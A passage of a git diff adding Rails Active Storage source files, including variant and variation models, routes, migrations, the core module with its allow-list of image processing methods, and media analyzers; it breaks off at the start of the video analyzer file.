diff --git a/activestorage/app/models/active_storage/variant_with_record.rb b/activestorage/app/models/active_storage/variant_with_record.rb
new file mode 100644
index 0000000000000..c5321da1572e7
--- /dev/null
+++ b/activestorage/app/models/active_storage/variant_with_record.rb
@@ -0,0 +1,89 @@
+# frozen_string_literal: true
+
+# = Active Storage \Variant With Record
+#
+# Like an ActiveStorage::Variant, but keeps detail about the variant in the database as an
+# ActiveStorage::VariantRecord. This is used if +ActiveStorage.track_variants+ is enabled.
+class ActiveStorage::VariantWithRecord
+  include ActiveStorage::Blob::Servable
+
+  attr_reader :blob, :variation
+  delegate :service, to: :blob
+  delegate :content_type, to: :variation
+
+  def initialize(blob, variation)
+    @blob, @variation = blob, ActiveStorage::Variation.wrap(variation)
+  end
+
+  def processed
+    process unless processed?
+    self
+  end
+
+  def image
+    record&.image
+  end
+
+  def filename
+    ActiveStorage::Filename.new "#{blob.filename.base}.#{variation.format.downcase}"
+  end
+
+  # Destroys record and deletes file from service.
+  def destroy
+    record&.destroy
+  end
+
+  delegate :key, :url, :download, to: :image, allow_nil: true
+
+  # Returns true if the variant has already been processed and stored.
+  def processed?
+    record.present?
+  end
+
+  # Process the variant from a local io, avoiding a download from the service.
+  # This is an optimization for when the original file is still available locally
+  # (e.g., during the initial upload flow).
+  def process_from_io(io) # :nodoc:
+    return if processed?
+
+    variation.transform(io) do |output|
+      create_or_find_record(image: {
+        io: output,
+        filename: "#{blob.filename.base}.#{variation.format.downcase}",
+        content_type: variation.content_type,
+        service_name: blob.service.name
+      })
+    end
+  end
+
+  private
+    def process
+      transform_blob { |image| create_or_find_record(image: image) }
+    end
+
+    def transform_blob
+      blob.open do |input|
+        variation.transform(input) do |output|
+          yield io: output, filename: "#{blob.filename.base}.#{variation.format.downcase}",
+            content_type: variation.content_type, service_name: blob.service.name
+        end
+      end
+    end
+
+    def create_or_find_record(image:)
+      @record =
+        ActiveRecord::Base.connected_to(role: ActiveRecord.writing_role) do
+          blob.variant_records.create_or_find_by!(variation_digest: variation.digest) do |record|
+            record.image.attach(image)
+          end
+        end
+    end
+
+    def record
+      @record ||= if blob.variant_records.loaded?
+        blob.variant_records.find { |v| v.variation_digest == variation.digest }
+      else
+        blob.variant_records.find_by(variation_digest: variation.digest)
+      end
+    end
+end
diff --git a/activestorage/app/models/active_storage/variation.rb b/activestorage/app/models/active_storage/variation.rb
new file mode 100644
index 0000000000000..24769b4de03e8
--- /dev/null
+++ b/activestorage/app/models/active_storage/variation.rb
@@ -0,0 +1,87 @@
+# frozen_string_literal: true
+
+require "marcel"
+
+# = Active Storage \Variation
+#
+# A set of transformations that can be applied to a blob to create a variant. This class is exposed via
+# the ActiveStorage::Blob#variant method and should rarely be used directly.
+#
+# In case you do need to use this directly, it's instantiated using a hash of transformations where
+# the key is the command and the value is the arguments. Example:
+#
+#   ActiveStorage::Variation.new(resize_to_limit: [100, 100], colourspace: "b-w", rotate: "-90", saver: { trim: true })
+#
+# The options map directly to {ImageProcessing}[https://github.com/janko/image_processing] commands.
+class ActiveStorage::Variation
+  attr_reader :transformations
+
+  class << self
+    # Returns a Variation instance based on the given variator. If the variator is a Variation, it is
+    # returned unmodified. If it is a String, it is passed to ActiveStorage::Variation.decode. Otherwise,
+    # it is assumed to be a transformations Hash and is passed directly to the constructor.
+    def wrap(variator)
+      case variator
+      when self
+        variator
+      when String
+        decode variator
+      else
+        new variator
+      end
+    end
+
+    # Returns a Variation instance with the transformations that were encoded by +encode+.
+    def decode(key)
+      new ActiveStorage.verifier.verify(key, purpose: :variation)
+    end
+
+    # Returns a signed key for the +transformations+, which can be used to refer to a specific
+    # variation in a URL or combined key (like <tt>ActiveStorage::Variant#key</tt>).
+    def encode(transformations)
+      ActiveStorage.verifier.generate(transformations, purpose: :variation)
+    end
+  end
+
+  def initialize(transformations)
+    @transformations = transformations.deep_symbolize_keys
+  end
+
+  def default_to(defaults)
+    self.class.new transformations.reverse_merge(defaults)
+  end
+
+  # Accepts a File object, performs the +transformations+ against it, and
+  # saves the transformed image into a temporary file.
+  def transform(file, &block)
+    ActiveSupport::Notifications.instrument("transform.active_storage") do
+      transformer.transform(file, format: format, &block)
+    end
+  end
+
+  def format
+    transformations.fetch(:format, :png).tap do |format|
+      if Marcel::Magic.by_extension(format.to_s).nil?
+        raise ArgumentError, "Invalid variant format (#{format.inspect})"
+      end
+    end
+  end
+
+  def content_type
+    Marcel::MimeType.for(extension: format.to_s)
+  end
+
+  # Returns a signed key for all the +transformations+ that this variation was instantiated with.
+  def key
+    self.class.encode(transformations)
+  end
+
+  def digest
+    OpenSSL::Digest::SHA1.base64digest Marshal.dump(transformations)
+  end
+
+  private
+    def transformer
+      ActiveStorage.variant_transformer.new(transformations.except(:format))
+    end
+end
diff --git a/activestorage/bin/test b/activestorage/bin/test
new file mode 100755
index 0000000000000..c53377cc970f4
--- /dev/null
+++ b/activestorage/bin/test
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+# frozen_string_literal: true
+
+COMPONENT_ROOT = File.expand_path("..", __dir__)
+require_relative "../../tools/test"
diff --git a/activestorage/config/routes.rb b/activestorage/config/routes.rb
new file mode 100644
index 0000000000000..d890a92efc6b6
--- /dev/null
+++ b/activestorage/config/routes.rb
@@ -0,0 +1,84 @@
+# frozen_string_literal: true
+
+Rails.application.routes.draw do
+  scope ActiveStorage.routes_prefix do
+    get "/blobs/redirect/:signed_id/*filename" => "active_storage/blobs/redirect#show", as: :rails_service_blob
+    get "/blobs/proxy/:signed_id/*filename" => "active_storage/blobs/proxy#show", as: :rails_service_blob_proxy
+    get "/blobs/:signed_id/*filename" => "active_storage/blobs/redirect#show"
+
+    get "/representations/redirect/:signed_blob_id/:variation_key/*filename" => "active_storage/representations/redirect#show", as: :rails_blob_representation
+    get "/representations/proxy/:signed_blob_id/:variation_key/*filename" => "active_storage/representations/proxy#show", as: :rails_blob_representation_proxy
+    get "/representations/:signed_blob_id/:variation_key/*filename" => "active_storage/representations/redirect#show"
+
+    get  "/disk/:encoded_key/*filename" => "active_storage/disk#show", as: :rails_disk_service
+    put  "/disk/:encoded_token" => "active_storage/disk#update", as: :update_rails_disk_service
+    post "/direct_uploads" => "active_storage/direct_uploads#create", as: :rails_direct_uploads
+  end
+
+  direct :rails_representation do |representation, options|
+    route_for(ActiveStorage.resolve_model_to_route, representation, options)
+  end
+
+  resolve("ActiveStorage::Variant") { |variant, options| route_for(ActiveStorage.resolve_model_to_route, variant, options) }
+  resolve("ActiveStorage::VariantWithRecord") { |variant, options| route_for(ActiveStorage.resolve_model_to_route, variant, options) }
+  resolve("ActiveStorage::Preview") { |preview, options| route_for(ActiveStorage.resolve_model_to_route, preview, options) }
+
+  direct :rails_blob do |blob, options|
+    route_for(ActiveStorage.resolve_model_to_route, blob, options)
+  end
+
+  resolve("ActiveStorage::Blob")       { |blob, options| route_for(ActiveStorage.resolve_model_to_route, blob, options) }
+  resolve("ActiveStorage::Attachment") { |attachment, options| route_for(ActiveStorage.resolve_model_to_route, attachment.blob, options) }
+
+  direct :rails_storage_proxy do |model, options|
+    expires_in = options.delete(:expires_in) { ActiveStorage.urls_expire_in }
+    expires_at = options.delete(:expires_at)
+
+    if model.respond_to?(:signed_id)
+      route_for(
+        :rails_service_blob_proxy,
+        model.signed_id(expires_in: expires_in, expires_at: expires_at),
+        model.filename,
+        options
+      )
+    else
+      signed_blob_id = model.blob.signed_id(expires_in: expires_in, expires_at: expires_at)
+      variation_key  = model.variation.key
+      filename       = model.blob.filename
+
+      route_for(
+        :rails_blob_representation_proxy,
+        signed_blob_id,
+        variation_key,
+        filename,
+        options
+      )
+    end
+  end
+
+  direct :rails_storage_redirect do |model, options|
+    expires_in = options.delete(:expires_in) { ActiveStorage.urls_expire_in }
+    expires_at = options.delete(:expires_at)
+
+    if model.respond_to?(:signed_id)
+      route_for(
+        :rails_service_blob,
+        model.signed_id(expires_in: expires_in, expires_at: expires_at),
+        model.filename,
+        options
+      )
+    else
+      signed_blob_id = model.blob.signed_id(expires_in: expires_in, expires_at: expires_at)
+      variation_key  = model.variation.key
+      filename       = model.blob.filename
+
+      route_for(
+        :rails_blob_representation,
+        signed_blob_id,
+        variation_key,
+        filename,
+        options
+      )
+    end
+  end
+end if ActiveStorage.draw_routes
diff --git a/activestorage/db/migrate/20170806125915_create_active_storage_tables.rb b/activestorage/db/migrate/20170806125915_create_active_storage_tables.rb
new file mode 100644
index 0000000000000..424cc96b7f4dc
--- /dev/null
+++ b/activestorage/db/migrate/20170806125915_create_active_storage_tables.rb
@@ -0,0 +1,56 @@
+class CreateActiveStorageTables < ActiveRecord::Migration[7.0]
+  def change
+    # Use Active Record's configured type for primary and foreign keys
+    primary_key_type, foreign_key_type = primary_and_foreign_key_types
+
+    create_table :active_storage_blobs, id: primary_key_type do |t|
+      t.string   :key,          null: false
+      t.string   :filename,     null: false
+      t.string   :content_type
+      t.text     :metadata
+      t.string   :service_name, null: false
+      t.bigint   :byte_size,    null: false
+      t.string   :checksum
+
+      if connection.supports_datetime_with_precision?
+        t.datetime :created_at, precision: 6, null: false
+      else
+        t.datetime :created_at, null: false
+      end
+
+      t.index [ :key ], unique: true
+    end
+
+    create_table :active_storage_attachments, id: primary_key_type do |t|
+      t.string     :name,     null: false
+      t.references :record,   null: false, polymorphic: true, index: false, type: foreign_key_type
+      t.references :blob,     null: false, type: foreign_key_type
+
+      if connection.supports_datetime_with_precision?
+        t.datetime :created_at, precision: 6, null: false
+      else
+        t.datetime :created_at, null: false
+      end
+
+      t.index [ :record_type, :record_id, :name, :blob_id ], name: :index_active_storage_attachments_uniqueness, unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+
+    create_table :active_storage_variant_records, id: primary_key_type do |t|
+      t.belongs_to :blob, null: false, index: false, type: foreign_key_type
+      t.string :variation_digest, null: false
+
+      t.index [ :blob_id, :variation_digest ], name: :index_active_storage_variant_records_uniqueness, unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+  end
+
+  private
+    def primary_and_foreign_key_types
+      config = Rails.configuration.generators
+      setting = config.options[config.orm][:primary_key_type]
+      primary_key_type = setting || :primary_key
+      foreign_key_type = setting || :bigint
+      [ primary_key_type, foreign_key_type ]
+    end
+end
diff --git a/activestorage/db/update_migrate/20190112182829_add_service_name_to_active_storage_blobs.rb b/activestorage/db/update_migrate/20190112182829_add_service_name_to_active_storage_blobs.rb
new file mode 100644
index 0000000000000..6076d58bace8d
--- /dev/null
+++ b/activestorage/db/update_migrate/20190112182829_add_service_name_to_active_storage_blobs.rb
@@ -0,0 +1,21 @@
+class AddServiceNameToActiveStorageBlobs < ActiveRecord::Migration[6.0]
+  def up
+    return unless table_exists?(:active_storage_blobs)
+
+    unless column_exists?(:active_storage_blobs, :service_name)
+      add_column :active_storage_blobs, :service_name, :string
+
+      if configured_service = ActiveStorage::Blob.service.name
+        ActiveStorage::Blob.unscoped.update_all(service_name: configured_service)
+      end
+
+      change_column :active_storage_blobs, :service_name, :string, null: false
+    end
+  end
+
+  def down
+    return unless table_exists?(:active_storage_blobs)
+
+    remove_column :active_storage_blobs, :service_name
+  end
+end
diff --git a/activestorage/db/update_migrate/20191206030411_create_active_storage_variant_records.rb b/activestorage/db/update_migrate/20191206030411_create_active_storage_variant_records.rb
new file mode 100644
index 0000000000000..0ff7345c6b259
--- /dev/null
+++ b/activestorage/db/update_migrate/20191206030411_create_active_storage_variant_records.rb
@@ -0,0 +1,26 @@
+class CreateActiveStorageVariantRecords < ActiveRecord::Migration[6.0]
+  def change
+    return unless table_exists?(:active_storage_blobs)
+
+    # Use Active Record's configured type for primary key
+    create_table :active_storage_variant_records, id: primary_key_type, if_not_exists: true do |t|
+      t.belongs_to :blob, null: false, index: false, type: blobs_primary_key_type
+      t.string :variation_digest, null: false
+
+      t.index %i[ blob_id variation_digest ], name: "index_active_storage_variant_records_uniqueness", unique: true
+      t.foreign_key :active_storage_blobs, column: :blob_id
+    end
+  end
+
+  private
+    def primary_key_type
+      config = Rails.configuration.generators
+      config.options[config.orm][:primary_key_type] || :primary_key
+    end
+
+    def blobs_primary_key_type
+      pkey_name = connection.primary_key(:active_storage_blobs)
+      pkey_column = connection.columns(:active_storage_blobs).find { |c| c.name == pkey_name }
+      pkey_column.bigint? ? :bigint : pkey_column.type
+    end
+end
diff --git a/activestorage/db/update_migrate/20211119233751_remove_not_null_on_active_storage_blobs_checksum.rb b/activestorage/db/update_migrate/20211119233751_remove_not_null_on_active_storage_blobs_checksum.rb
new file mode 100644
index 0000000000000..d00315e7e5c84
--- /dev/null
+++ b/activestorage/db/update_migrate/20211119233751_remove_not_null_on_active_storage_blobs_checksum.rb
@@ -0,0 +1,7 @@
+class RemoveNotNullOnActiveStorageBlobsChecksum < ActiveRecord::Migration[6.0]
+  def change
+    return unless table_exists?(:active_storage_blobs)
+
+    change_column_null(:active_storage_blobs, :checksum, true)
+  end
+end
diff --git a/activestorage/lib/active_storage.rb b/activestorage/lib/active_storage.rb
new file mode 100644
index 0000000000000..2d074123571e9
--- /dev/null
+++ b/activestorage/lib/active_storage.rb
@@ -0,0 +1,377 @@
+# frozen_string_literal: true
+
+#--
+# Copyright (c) David Heinemeier Hansson, 37signals LLC
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require "active_record"
+require "active_support"
+require "active_support/rails"
+require "active_support/core_ext/numeric/time"
+
+require "active_storage/version"
+require "active_storage/deprecator"
+require "active_storage/errors"
+
+require "marcel"
+
+# :markup: markdown
+# :include: ../README.md
+module ActiveStorage
+  extend ActiveSupport::Autoload
+
+  autoload :Attached
+  autoload :FixtureSet
+  autoload :Service
+  autoload :Previewer
+  autoload :Analyzer
+
+  mattr_accessor :logger
+  mattr_accessor :verifier
+  mattr_accessor :variant_processor, default: :mini_magick
+
+  mattr_accessor :variant_transformer
+
+  mattr_accessor :queues, default: {}
+
+  mattr_accessor :previewers, default: []
+  mattr_accessor :analyzers,  default: []
+  mattr_accessor :analyze,    default: :later
+
+  mattr_accessor :paths, default: {}
+
+  mattr_accessor :variable_content_types,           default: []
+  mattr_accessor :web_image_content_types,          default: []
+  mattr_accessor :binary_content_type,              default: "application/octet-stream"
+  mattr_accessor :content_types_to_serve_as_binary, default: []
+  mattr_accessor :content_types_allowed_inline,     default: []
+
+  mattr_accessor :supported_image_processing_methods, default: [
+    "adaptive_blur",
+    "adaptive_resize",
+    "adaptive_sharpen",
+    "adjoin",
+    "affine",
+    "alpha",
+    "annotate",
+    "antialias",
+    "append",
+    "attenuate",
+    "authenticate",
+    "auto_gamma",
+    "auto_level",
+    "auto_orient",
+    "auto_threshold",
+    "backdrop",
+    "background",
+    "bench",
+    "bias",
+    "bilateral_blur",
+    "black_point_compensation",
+    "black_threshold",
+    "blend",
+    "blue_primary",
+    "blue_shift",
+    "blur",
+    "border",
+    "bordercolor",
+    "borderwidth",
+    "brightness_contrast",
+    "cache",
+    "canny",
+    "caption",
+    "channel",
+    "channel_fx",
+    "charcoal",
+    "chop",
+    "clahe",
+    "clamp",
+    "clip",
+    "clip_path",
+    "clone",
+    "clut",
+    "coalesce",
+    "colorize",
+    "colormap",
+    "color_matrix",
+    "colors",
+    "colorspace",
+    "colourspace",
+    "color_threshold",
+    "combine",
+    "combine_options",
+    "comment",
+    "compare",
+    "complex",
+    "compose",
+    "composite",
+    "compress",
+    "connected_components",
+    "contrast",
+    "contrast_stretch",
+    "convert",
+    "convolve",
+    "copy",
+    "crop",
+    "cycle",
+    "deconstruct",
+    "define",
+    "delay",
+    "delete",
+    "density",
+    "depth",
+    "descend",
+    "deskew",
+    "despeckle",
+    "direction",
+    "displace",
+    "dispose",
+    "dissimilarity_threshold",
+    "dissolve",
+    "distort",
+    "dither",
+    "draw",
+    "duplicate",
+    "edge",
+    "emboss",
+    "encoding",
+    "endian",
+    "enhance",
+    "equalize",
+    "evaluate",
+    "evaluate_sequence",
+    "extent",
+    "extract",
+    "family",
+    "features",
+    "fft",
+    "fill",
+    "filter",
+    "flatten",
+    "flip",
+    "floodfill",
+    "flop",
+    "font",
+    "foreground",
+    "format",
+    "frame",
+    "function",
+    "fuzz",
+    "fx",
+    "gamma",
+    "gaussian_blur",
+    "geometry",
+    "gravity",
+    "grayscale",
+    "green_primary",
+    "hald_clut",
+    "highlight_color",
+    "hough_lines",
+    "iconGeometry",
+    "iconic",
+    "identify",
+    "ift",
+    "illuminant",
+    "immutable",
+    "implode",
+    "insert",
+    "intensity",
+    "intent",
+    "interlace",
+    "interline_spacing",
+    "interpolate",
+    "interpolative_resize",
+    "interword_spacing",
+    "kerning",
+    "kmeans",
+    "kuwahara",
+    "label",
+    "lat",
+    "layers",
+    "level",
+    "level_colors",
+    "limit",
+    "limits",
+    "linear_stretch",
+    "linewidth",
+    "liquid_rescale",
+    "list",
+    "log",
+    "loop",
+    "lowlight_color",
+    "magnify",
+    "map",
+    "mattecolor",
+    "median",
+    "mean_shift",
+    "metric",
+    "mode",
+    "modulate",
+    "moments",
+    "monitor",
+    "monochrome",
+    "morph",
+    "morphology",
+    "mosaic",
+    "motion_blur",
+    "name",
+    "negate",
+    "noise",
+    "normalize",
+    "opaque",
+    "ordered_dither",
+    "orient",
+    "page",
+    "paint",
+    "pause",
+    "perceptible",
+    "ping",
+    "pointsize",
+    "polaroid",
+    "poly",
+    "posterize",
+    "precision",
+    "preview",
+    "process",
+    "quality",
+    "quantize",
+    "quiet",
+    "radial_blur",
+    "raise",
+    "random_threshold",
+    "range_threshold",
+    "red_primary",
+    "regard_warnings",
+    "region",
+    "remote",
+    "render",
+    "repage",
+    "resample",
+    "resize",
+    "resize_to_fill",
+    "resize_to_fit",
+    "resize_to_limit",
+    "resize_and_pad",
+    "respect_parentheses",
+    "reverse",
+    "roll",
+    "rotate",
+    "sample",
+    "sampling_factor",
+    "scale",
+    "scene",
+    "screen",
+    "seed",
+    "segment",
+    "selective_blur",
+    "separate",
+    "sepia_tone",
+    "shade",
+    "shadow",
+    "shared_memory",
+    "sharpen",
+    "shave",
+    "shear",
+    "sigmoidal_contrast",
+    "silent",
+    "similarity_threshold",
+    "size",
+    "sketch",
+    "smush",
+    "snaps",
+    "solarize",
+    "sort_pixels",
+    "sparse_color",
+    "splice",
+    "spread",
+    "statistic",
+    "stegano",
+    "stereo",
+    "storage_type",
+    "stretch",
+    "strip",
+    "stroke",
+    "strokewidth",
+    "style",
+    "subimage_search",
+    "swap",
+    "swirl",
+    "synchronize",
+    "taint",
+    "text_font",
+    "threshold",
+    "thumbnail",
+    "tile_offset",
+    "tint",
+    "title",
+    "transform",
+    "transparent",
+    "transparent_color",
+    "transpose",
+    "transverse",
+    "treedepth",
+    "trim",
+    "type",
+    "undercolor",
+    "unique_colors",
+    "units",
+    "unsharp",
+    "update",
+    "valid_image",
+    "view",
+    "vignette",
+    "virtual_pixel",
+    "visual",
+    "watermark",
+    "wave",
+    "wavelet_denoise",
+    "weight",
+    "white_balance",
+    "white_point",
+    "white_threshold",
+    "window",
+    "window_group"
+  ]
+  mattr_accessor :unsupported_image_processing_arguments
+
+  mattr_accessor :service_urls_expire_in, default: 5.minutes
+  mattr_accessor :touch_attachment_records, default: true
+  mattr_accessor :urls_expire_in
+
+  mattr_accessor :routes_prefix, default: "/rails/active_storage"
+  mattr_accessor :draw_routes, default: true
+  mattr_accessor :resolve_model_to_route, default: :rails_storage_redirect
+
+  mattr_accessor :track_variants, default: false
+
+  mattr_accessor :video_preview_arguments, default: "-y -vframes 1 -f image2"
+
+  module Transformers
+    extend ActiveSupport::Autoload
+
+    autoload :Transformer
+    autoload :NullTransformer
+    autoload :ImageProcessingTransformer
+    autoload :Vips
+    autoload :ImageMagick
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer.rb b/activestorage/lib/active_storage/analyzer.rb
new file mode 100644
index 0000000000000..75723ce9818f3
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer.rb
@@ -0,0 +1,50 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage \Analyzer
+  #
+  # This is an abstract base class for analyzers, which extract metadata from blobs. See
+  # ActiveStorage::Analyzer::VideoAnalyzer for an example of a concrete subclass.
+  class Analyzer
+    attr_reader :blob
+
+    # Implement this method in a concrete subclass. Have it return true when given a blob from which
+    # the analyzer can extract metadata.
+    def self.accept?(blob)
+      false
+    end
+
+    # Implement this method in concrete subclasses. It will determine if blob analysis
+    # should be done in a job or performed inline. By default, analysis is enqueued in a job.
+    def self.analyze_later?
+      true
+    end
+
+    def initialize(blob)
+      @blob = blob
+    end
+
+    # Override this method in a concrete subclass. Have it return a Hash of metadata.
+    def metadata
+      raise NotImplementedError
+    end
+
+    private
+      # Downloads the blob to a tempfile on disk. See ActiveStorage::Blob#open for details.
+      def download_blob_to_tempfile(&block) # :doc:
+        blob.open tmpdir: tmpdir, &block
+      end
+
+      def logger # :doc:
+        ActiveStorage.logger
+      end
+
+      def tmpdir # :doc:
+        Dir.tmpdir
+      end
+
+      def instrument(analyzer, &block) # :doc:
+        ActiveSupport::Notifications.instrument("analyze.active_storage", analyzer: analyzer, &block)
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/audio_analyzer.rb b/activestorage/lib/active_storage/analyzer/audio_analyzer.rb
new file mode 100644
index 0000000000000..0558d8d334d66
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/audio_analyzer.rb
@@ -0,0 +1,77 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage Audio \Analyzer
+  #
+  # Extracts duration (seconds), bit_rate (bits/s), sample_rate (hertz) and tags (internal metadata) from an audio blob.
+  #
+  # Example:
+  #
+  #   ActiveStorage::Analyzer::AudioAnalyzer.new(blob).metadata
+  #   # => { duration: 5.0, bit_rate: 320340, sample_rate: 44100, tags: { encoder: "Lavc57.64", ... } }
+  #
+  # This analyzer requires the {FFmpeg}[https://www.ffmpeg.org] system library, which is not provided by \Rails.
+  class Analyzer::AudioAnalyzer < Analyzer
+    def self.accept?(blob)
+      blob.audio?
+    end
+
+    def metadata
+      { duration: duration, bit_rate: bit_rate, sample_rate: sample_rate, tags: tags }.compact
+    end
+
+    private
+      def duration
+        duration = audio_stream["duration"]
+        Float(duration) if duration
+      end
+
+      def bit_rate
+        bit_rate = audio_stream["bit_rate"]
+        Integer(bit_rate) if bit_rate
+      end
+
+      def sample_rate
+        sample_rate = audio_stream["sample_rate"]
+        Integer(sample_rate) if sample_rate
+      end
+
+      def tags
+        tags = audio_stream["tags"]
+        Hash(tags) if tags
+      end
+
+      def audio_stream
+        @audio_stream ||= streams.detect { |stream| stream["codec_type"] == "audio" } || {}
+      end
+
+      def streams
+        probe["streams"] || []
+      end
+
+      def probe
+        @probe ||= download_blob_to_tempfile { |file| probe_from(file) }
+      end
+
+      def probe_from(file)
+        instrument(File.basename(ffprobe_path)) do
+          IO.popen([ ffprobe_path,
+            "-print_format", "json",
+            "-show_streams",
+            "-show_format",
+            "-v", "error",
+            file.path
+          ]) do |output|
+            JSON.parse(output.read)
+          end
+        end
+      rescue Errno::ENOENT
+        logger.info "Skipping audio analysis because ffprobe isn't installed"
+        {}
+      end
+
+      def ffprobe_path
+        ActiveStorage.paths[:ffprobe] || "ffprobe"
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer.rb b/activestorage/lib/active_storage/analyzer/image_analyzer.rb
new file mode 100644
index 0000000000000..2fa0f01ae74f4
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer.rb
@@ -0,0 +1,34 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  # = Active Storage Image \Analyzer
+  #
+  # This is an abstract base class for image analyzers, which extract width and height from an image blob.
+  #
+  # If the image contains EXIF data indicating its angle is 90 or 270 degrees, its width and height are swapped for convenience.
+  #
+  # Example:
+  #
+  #   ActiveStorage::Analyzer::ImageAnalyzer::ImageMagick.new(blob).metadata
+  #   # => { width: 4104, height: 2736 }
+  class Analyzer::ImageAnalyzer < Analyzer
+    extend ActiveSupport::Autoload
+
+    autoload :Vips
+    autoload :ImageMagick
+
+    def self.accept?(blob)
+      blob.image?
+    end
+
+    def metadata
+      read_image do |image|
+        if rotated_image?(image)
+          { width: image.height, height: image.width }
+        else
+          { width: image.width, height: image.height }
+        end
+      end
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick.rb
new file mode 100644
index 0000000000000..63a53a8f7ed2c
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/image_magick.rb
@@ -0,0 +1,48 @@
+# frozen_string_literal: true
+
+begin
+  gem "mini_magick"
+  require "mini_magick"
+  ActiveStorage::MINIMAGICK_AVAILABLE = true # :nodoc:
+rescue LoadError => error
+  ActiveStorage::MINIMAGICK_AVAILABLE = false # :nodoc:
+  raise error unless error.message.include?("mini_magick")
+end
+
+module ActiveStorage
+  # This analyzer relies on the third-party {MiniMagick}[https://github.com/minimagick/minimagick] gem. MiniMagick requires
+  # the {ImageMagick}[http://www.imagemagick.org] system library.
+  class Analyzer::ImageAnalyzer::ImageMagick < Analyzer::ImageAnalyzer
+    def self.accept?(blob)
+      super && ActiveStorage.variant_processor == :mini_magick
+    end
+
+    private
+      def read_image
+        unless MINIMAGICK_AVAILABLE
+          logger.error "Skipping image analysis because the mini_magick gem isn't installed"
+          return {}
+        end
+
+        download_blob_to_tempfile do |file|
+          image = instrument("mini_magick") do
+            MiniMagick::Image.new(file.path)
+          end
+
+          if image.valid?
+            yield image
+          else
+            logger.info "Skipping image analysis because ImageMagick doesn't support the file"
+            {}
+          end
+        rescue MiniMagick::Error => error
+          logger.error "Skipping image analysis due to an ImageMagick error: #{error.message}"
+          {}
+        end
+      end
+
+      def rotated_image?(image)
+        %w[ RightTop LeftBottom TopRight BottomLeft ].include?(image["%[orientation]"])
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
new file mode 100644
index 0000000000000..57b9858ffbdc6
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/image_analyzer/vips.rb
@@ -0,0 +1,65 @@
+# frozen_string_literal: true
+
+begin
+  require "nokogiri"
+rescue LoadError
+  # Ensure nokogiri is loaded before vips, which also depends on libxml2.
+  # See Nokogiri RFC: Stop exporting symbols:
+  #   https://github.com/sparklemotion/nokogiri/discussions/2746
+end
+
+begin
+  gem "ruby-vips"
+  require "ruby-vips"
+  ActiveStorage::VIPS_AVAILABLE = true # :nodoc:
+rescue LoadError => error
+  ActiveStorage::VIPS_AVAILABLE = false # :nodoc:
+  raise error unless error.message.match?(/libvips|ruby-vips/)
+end
+
+module ActiveStorage
+  # This analyzer relies on the third-party {ruby-vips}[https://github.com/libvips/ruby-vips] gem. Ruby-vips requires
+  # the {libvips}[https://libvips.github.io/libvips/] system library.
+  class Analyzer::ImageAnalyzer::Vips < Analyzer::ImageAnalyzer
+    def self.accept?(blob)
+      super && ActiveStorage.variant_processor == :vips
+    end
+
+    private
+      def read_image
+        unless VIPS_AVAILABLE
+          logger.error "Skipping image analysis because the ruby-vips gem isn't installed"
+          return {}
+        end
+
+        download_blob_to_tempfile do |file|
+          image = instrument("vips") do
+            # ruby-vips will raise Vips::Error if it can't find an appropriate loader for the file
+            ::Vips::Image.new_from_file(file.path, access: :sequential)
+          rescue ::Vips::Error
+            logger.info "Skipping image analysis because Vips doesn't support the file"
+            nil
+          end
+
+          if image
+            yield image
+          else
+            {}
+          end
+        rescue ::Vips::Error => error
+          logger.error "Skipping image analysis due to a Vips error: #{error.message}"
+          {}
+        end
+      rescue ::Vips::Error => error
+        logger.error "Skipping image analysis due to an Vips error: #{error.message}"
+        {}
+      end
+
+      ROTATIONS = /Right-top|Left-bottom|Top-right|Bottom-left/
+      def rotated_image?(image)
+        ROTATIONS === image.get("exif-ifd0-Orientation")
+      rescue ::Vips::Error
+        false
+      end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/null_analyzer.rb b/activestorage/lib/active_storage/analyzer/null_analyzer.rb
new file mode 100644
index 0000000000000..e7f8d83f7e342
--- /dev/null
+++ b/activestorage/lib/active_storage/analyzer/null_analyzer.rb
@@ -0,0 +1,17 @@
+# frozen_string_literal: true
+
+module ActiveStorage
+  class Analyzer::NullAnalyzer < Analyzer # :nodoc:
+    def self.accept?(blob)
+      true
+    end
+
+    def self.analyze_later?
+      false
+    end
+
+    def metadata
+      {}
+    end
+  end
+end
diff --git a/activestorage/lib/active_storage/analyzer/video_analyzer.rb b/activestorage/lib/active_storage/analyzer/video_analyzer.rb
new file mode 100644
index 0000000000000..51c1b76dc15be
